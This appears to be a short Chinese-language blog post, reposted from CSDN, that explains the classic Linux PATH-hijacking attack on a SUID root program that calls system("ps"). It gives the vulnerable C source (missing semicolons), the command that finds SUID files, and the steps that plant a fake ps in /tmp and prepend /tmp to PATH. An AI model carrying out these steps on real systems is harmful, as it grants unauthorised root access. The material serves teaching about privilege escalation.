黑客攻击本质理解

root  用户

假设linux 下root 用户在~/script/demo.c  文件内容为

#include <unistd.h>

void main(){

setuid(0)

setgid(0)

system("ps")

}

cd ~/script

gcc demo.c   -o  shell

chmod u+s  shell

ls -al  shell     //  可以看到root 用户下有 s 位程序


黑客:

find /  -perm -u=s -type f    2>/dev/null

这个时候会找到 ~/script/shell  文件

再假设黑客破解到~/script/shell  这个执行文件会调用系统ps 


echo "/bin/mount -t ext4  -o loop  **.img   tmp_dir" >/tmp/ps

chmod 777 ps

export PATH=/tmp:$PATH


黑客修改环境变量让其执行自己的 ps 命令

这样黑客执行  ~/script/shell     就可以运行/tmp/ps  下的内容,这些内容可能正常情况非root  是无法执行的。



猜你喜欢

转载自blog.csdn.net/lei7143/article/details/80541193